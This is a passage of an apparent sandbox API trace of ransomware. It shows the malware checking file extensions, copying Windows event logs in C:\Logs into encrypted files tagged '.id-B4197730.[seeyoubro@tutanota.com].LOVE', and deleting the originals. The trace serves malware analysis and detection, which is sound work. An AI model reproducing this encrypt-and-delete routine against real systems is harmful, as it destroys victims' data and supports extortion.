[0204.434] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0204.434] lstrlenW (lpString=".rar") returned 4 [0204.434] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0204.434] lstrlenW (lpString=".bz2") returned 4 [0204.434] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0204.434] lstrlenW (lpString=".7z") returned 3 [0204.434] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0204.434] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0204.434] lstrlenW (lpString=".dbf") returned 4 [0204.434] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0204.434] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0204.434] lstrlenW (lpString=".1cd") returned 4 [0204.434] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0204.434] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0204.434] lstrlenW (lpString=".jpg") returned 4 [0204.434] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0204.434] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0204.434] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0204.434] lstrlenW (lpString=".doc") returned 4 [0204.434] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0204.434] lstrlenW (lpString=".docx") returned 5 [0204.434] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0204.435] lstrlenW (lpString=".pdf") returned 4 [0204.435] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0204.435] lstrlenW (lpString=".xls") returned 4 [0204.435] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0204.435] lstrlenW (lpString=".xlsx") returned 5 [0204.435] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0204.435] lstrlenW (lpString=".ppt") returned 4 [0204.435] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0204.435] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0204.435] lstrlenW (lpString=".zip") returned 4 [0204.435] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0204.435] lstrlenW (lpString=".rar") returned 4 [0204.435] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0204.435] lstrlenW (lpString=".bz2") returned 4 [0204.435] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0204.435] lstrlenW (lpString=".7z") returned 3 [0204.435] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0204.435] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0204.435] lstrlenW (lpString=".dbf") returned 4 [0204.435] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0204.435] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0204.435] lstrlenW (lpString=".1cd") returned 4 [0204.435] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0204.435] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0204.435] lstrlenW (lpString=".jpg") returned 4 [0204.435] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0204.436] lstrcmpiW (lpString1=".evtx", lpString2=".LOVE") returned -1 [0204.436] lstrlenW (lpString="Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 48 [0204.436] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0204.436] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x369ff14 | out: lpFileSize=0x369ff14*=69632) returned 1 [0204.436] CloseHandle (hObject=0x350) returned 1 [0204.437] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx")) returned 0x20 [0204.438] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0204.439] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0204.439] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.439] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.439] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0204.439] GetLastError () returned 0x0 [0204.439] ReadFile (in: hFile=0x350, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x11000, lpOverlapped=0x0) returned 1 [0204.497] WriteFile (in: hFile=0x354, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0x11010, lpOverlapped=0x0) returned 1 [0204.499] ReadFile (in: hFile=0x350, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x0, lpOverlapped=0x0) returned 1 [0204.499] WriteFile (in: hFile=0x354, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0x134, lpOverlapped=0x0) returned 1 [0204.499] SetEndOfFile (hFile=0x354) returned 1 [0204.499] CloseHandle (hObject=0x354) returned 1 [0204.501] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.501] SetEndOfFile (hFile=0x350) returned 1 [0204.503] CloseHandle (hObject=0x350) returned 1 [0204.503] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0204.503] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx")) returned 1 [0204.504] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0204.504] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0204.504] lstrlenW (lpString=".doc") returned 4 [0204.504] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0204.504] lstrlenW (lpString=".docx") returned 5 [0204.504] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0204.504] lstrlenW (lpString=".pdf") returned 4 [0204.504] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0204.504] lstrlenW (lpString=".xls") returned 4 [0204.504] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0204.504] lstrlenW (lpString=".xlsx") returned 5 [0204.504] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0204.504] lstrlenW (lpString=".ppt") returned 4 [0204.504] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0204.504] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0204.504] lstrlenW (lpString=".zip") returned 4 [0204.504] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0204.504] lstrlenW (lpString=".rar") returned 4 [0204.504] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0204.504] lstrlenW (lpString=".bz2") returned 4 [0204.504] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0204.504] lstrlenW (lpString=".7z") returned 3 [0204.504] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0204.504] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0204.504] lstrlenW (lpString=".dbf") returned 4 [0204.504] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0204.504] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0204.504] lstrlenW (lpString=".1cd") returned 4 [0204.504] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0204.505] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0204.505] lstrlenW (lpString=".jpg") returned 4 [0204.505] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0204.505] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0204.505] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0204.505] lstrlenW (lpString=".doc") returned 4 [0204.505] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0204.505] lstrlenW (lpString=".docx") returned 5 [0204.505] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0204.505] lstrlenW (lpString=".pdf") returned 4 [0204.505] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0204.505] lstrlenW (lpString=".xls") returned 4 [0204.505] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0204.505] lstrlenW (lpString=".xlsx") returned 5 [0204.505] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0204.505] lstrlenW (lpString=".ppt") returned 4 [0204.505] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0204.505] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0204.505] lstrlenW (lpString=".zip") returned 4 [0204.505] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0204.505] lstrlenW (lpString=".rar") returned 4 [0204.505] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0204.505] lstrlenW (lpString=".bz2") returned 4 [0204.505] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0204.505] lstrlenW (lpString=".7z") returned 3 [0204.505] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0204.505] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0204.506] lstrlenW (lpString=".dbf") returned 4 [0204.506] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0204.506] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0204.506] lstrlenW (lpString=".1cd") returned 4 [0204.506] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0204.506] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0204.506] lstrlenW (lpString=".jpg") returned 4 [0204.506] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0204.506] lstrcmpiW (lpString1=".evtx", lpString2=".LOVE") returned -1 [0204.506] lstrlenW (lpString="Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 54 [0204.506] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0204.506] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x369ff14 | out: lpFileSize=0x369ff14*=69632) returned 1 [0204.506] CloseHandle (hObject=0x350) returned 1 [0204.506] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx")) returned 0x20 [0204.507] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0204.507] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0204.507] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.507] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.507] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0204.507] GetLastError () returned 0x0 [0204.507] ReadFile (in: hFile=0x350, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x11000, lpOverlapped=0x0) returned 1 [0204.529] WriteFile (in: hFile=0x354, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0x11010, lpOverlapped=0x0) returned 1 [0204.531] ReadFile (in: hFile=0x350, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x0, lpOverlapped=0x0) returned 1 [0204.531] WriteFile (in: hFile=0x354, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0x140, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0x140, lpOverlapped=0x0) returned 1 [0204.531] SetEndOfFile (hFile=0x354) returned 1 [0204.531] CloseHandle (hObject=0x354) returned 1 [0204.534] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.534] SetEndOfFile (hFile=0x350) returned 1 [0204.535] CloseHandle (hObject=0x350) returned 1 [0204.535] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0204.536] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx")) returned 1 [0204.536] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0204.536] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0204.536] lstrlenW (lpString=".doc") returned 4 [0204.536] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0204.536] lstrlenW (lpString=".docx") returned 5 [0204.536] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0204.536] lstrlenW (lpString=".pdf") returned 4 [0204.536] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0204.536] lstrlenW (lpString=".xls") returned 4 [0204.536] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0204.536] lstrlenW (lpString=".xlsx") returned 5 [0204.536] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0204.536] lstrlenW (lpString=".ppt") returned 4 [0204.536] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0204.536] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0204.536] lstrlenW (lpString=".zip") returned 4 [0204.536] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0204.536] lstrlenW (lpString=".rar") returned 4 [0204.536] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0204.537] lstrlenW (lpString=".bz2") returned 4 [0204.537] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0204.537] lstrlenW (lpString=".7z") returned 3 [0204.537] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0204.537] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0204.537] lstrlenW (lpString=".dbf") returned 4 [0204.537] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0204.537] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0204.537] lstrlenW (lpString=".1cd") returned 4 [0204.537] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0204.537] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0204.537] lstrlenW (lpString=".jpg") returned 4 [0204.537] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0204.537] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0204.537] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0204.537] lstrlenW (lpString=".doc") returned 4 [0204.537] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0204.537] lstrlenW (lpString=".docx") returned 5 [0204.537] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0204.537] lstrlenW (lpString=".pdf") returned 4 [0204.537] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0204.537] lstrlenW (lpString=".xls") returned 4 [0204.537] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0204.537] lstrlenW (lpString=".xlsx") returned 5 [0204.537] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0204.538] lstrlenW (lpString=".ppt") returned 4 [0204.538] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0204.538] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0204.538] lstrlenW (lpString=".zip") returned 4 [0204.538] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0204.538] lstrlenW (lpString=".rar") returned 4 [0204.538] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0204.538] lstrlenW (lpString=".bz2") returned 4 [0204.538] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0204.538] lstrlenW (lpString=".7z") returned 3 [0204.538] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0204.538] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0204.538] lstrlenW (lpString=".dbf") returned 4 [0204.538] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0204.538] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0204.538] lstrlenW (lpString=".1cd") returned 4 [0204.538] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0204.538] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0204.538] lstrlenW (lpString=".jpg") returned 4 [0204.538] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0204.538] lstrcmpiW (lpString1=".evtx", lpString2=".LOVE") returned -1 [0204.538] lstrlenW (lpString="Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 41 [0204.538] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0204.539] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x369ff14 | out: lpFileSize=0x369ff14*=69632) returned 1 [0204.539] CloseHandle (hObject=0x350) returned 1 [0204.539] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx")) returned 0x20 [0204.539] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0204.539] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0204.539] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.539] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.539] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0204.540] GetLastError () returned 0x0 [0204.540] ReadFile (in: hFile=0x350, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x11000, lpOverlapped=0x0) returned 1 [0204.551] WriteFile (in: hFile=0x354, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0x11010, lpOverlapped=0x0) returned 1 [0204.553] ReadFile (in: hFile=0x350, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x0, lpOverlapped=0x0) returned 1 [0204.553] WriteFile (in: hFile=0x354, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0x126, lpOverlapped=0x0) returned 1 [0204.553] SetEndOfFile (hFile=0x354) returned 1 [0204.553] CloseHandle (hObject=0x354) returned 1 [0204.556] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.556] SetEndOfFile (hFile=0x350) returned 1 [0204.558] CloseHandle (hObject=0x350) returned 1 [0204.558] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0204.558] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx")) returned 1 [0204.558] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0204.558] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0204.558] lstrlenW (lpString=".doc") returned 4 [0204.558] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0204.558] lstrlenW (lpString=".docx") returned 5 [0204.558] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0204.558] lstrlenW (lpString=".pdf") returned 4 [0204.558] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0204.558] lstrlenW (lpString=".xls") returned 4 [0204.558] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0204.558] lstrlenW (lpString=".xlsx") returned 5 [0204.559] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0204.559] lstrlenW (lpString=".ppt") returned 4 [0204.559] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0204.559] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0204.559] lstrlenW (lpString=".zip") returned 4 [0204.559] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0204.559] lstrlenW (lpString=".rar") returned 4 [0204.559] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0204.559] lstrlenW (lpString=".bz2") returned 4 [0204.559] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0204.559] lstrlenW (lpString=".7z") returned 3 [0204.559] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0204.559] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0204.559] lstrlenW (lpString=".dbf") returned 4 [0204.559] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0204.559] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0204.559] lstrlenW (lpString=".1cd") returned 4 [0204.559] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0204.559] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0204.559] lstrlenW (lpString=".jpg") returned 4 [0204.559] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0204.559] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0204.559] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0204.559] lstrlenW (lpString=".doc") returned 4 [0204.559] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0204.559] lstrlenW (lpString=".docx") returned 5 [0204.559] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0204.559] lstrlenW (lpString=".pdf") returned 4 